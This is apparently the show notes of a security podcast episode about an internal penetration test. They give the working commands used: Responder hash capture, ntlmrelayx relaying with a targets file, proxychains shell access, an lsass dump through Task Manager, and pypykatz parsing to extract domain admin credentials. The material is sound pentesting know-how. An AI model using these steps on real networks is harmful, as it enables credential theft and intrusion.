7MS #423: Tales of Internal Pentest Pwnage - Part 18
7 Minute Security15 Heinä 2020

7MS #423: Tales of Internal Pentest Pwnage - Part 18

This is an especially fun tale of pentest pwnage because it involves D.D.A.D. (Double Domain Admin Dance) and varying T.T.D.A. (Time to Domain Admin). The key takeaways I want to share from these tests are as follows:

  • Responder.py -i eth0 -rPv is AWESOME. It can make the network rain hashes like manna from heaven!
  • Testing the egress firewall is easy with this script. Consider this SANS article for guidance on ports to lock down.
  • Testing for MS14-025 is easy with this site.
  • mitm6 and ntlmrelayx can work really well together to rain shells if you follow this article. It's especially handy/focused when you create a targets.txt that looks something like this:
smb://CORP\Administrator@192.168.195.2 smb://CORP\Administrator@192.168.195.3 smb://CORP\brian.admin@192.168.195.7 192.168.195.7 192.168.195.10

Then save that as your targets.txt and run ntlmrelayx with ./ntlmrelayx.py -tf /targets.txt -socks -smb2support. From there, once you get active socks connections, you can connect to them directly with a full interactive shell with something like proxychains smbclient //192.168.195.2/ -U CORP/brian.admin

  • I ran into a weird issue with CrackMapExec where the --local-auth flag didn't seem to be working so I ended up trying the binary version and then it worked like a champ!

  • Looking to dump lsass a "clean" way? Try RDPing in directly to the victim machine, opening up taskmgr.exe, click the Details tab, then right-click lsass.exe and choose Create dump file and bam, done.

  • Wanna spin up a quick SMB share from your Kali box? Try smbserver.py -smb2support share /share

  • Then, once you've pulled back the lsass.dmp file, you can rip through it easily with:

pip3 install pypykatz sudo pypykatz lsa minidump lsass.dmp > lsass.txt

Then comb through lsass.txt and hopefully there will be some delicious and nutritious DA creds there for you to much on!

Jaksot(710)

7MS #710: I'm Taking a Break

7MS #710: I'm Taking a Break

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7MS #709: Second Impressions of Twingate

7MS #709: Second Impressions of Twingate

Hey friends, in episode #649 I gave you my first impressions of Twingate.  It's been a minute, so I thought I'd revisit Twingate (specifically this awesome Twingate LXC) and talk about how we're using...

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7MS #708: Tales of Pentest Fail – Part 6

7MS #708: Tales of Pentest Fail – Part 6

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7MS #707: Our New Pentest Course Has Launched!

7MS #707: Our New Pentest Course Has Launched!

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7MS #706: Tales of Pentest Pwnage – Part 80

7MS #706: Tales of Pentest Pwnage – Part 80

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7MS #705: A Phishing Campaign Fail Tale

7MS #705: A Phishing Campaign Fail Tale

This might be obvious, but security is not all domain admin dancing and maximum pwnage. Sometimes, despite my best efforts, a security project does a faceplant. Today's episode focuses on a phishing c...

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7MS #704: DIY Pentest Dropbox Tips – Part 12

7MS #704: DIY Pentest Dropbox Tips – Part 12

Hola friends!  My week has very much been about trying to turnaround pentest dropboxes as quickly as possible.  In that adventure, I came across two time-saving discoveries: Using a Proxmox LXC as a ...

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7MS #703: Tales of Pentest Pwnage – Part 79

7MS #703: Tales of Pentest Pwnage – Part 79

Happy Thanksgiving week friends! Today we're celebrating a turkey and pie overload by sharing another fun tale of pentest pwnage! It involves using pygpoabuse to hijack a GPO and turn it into our pent...

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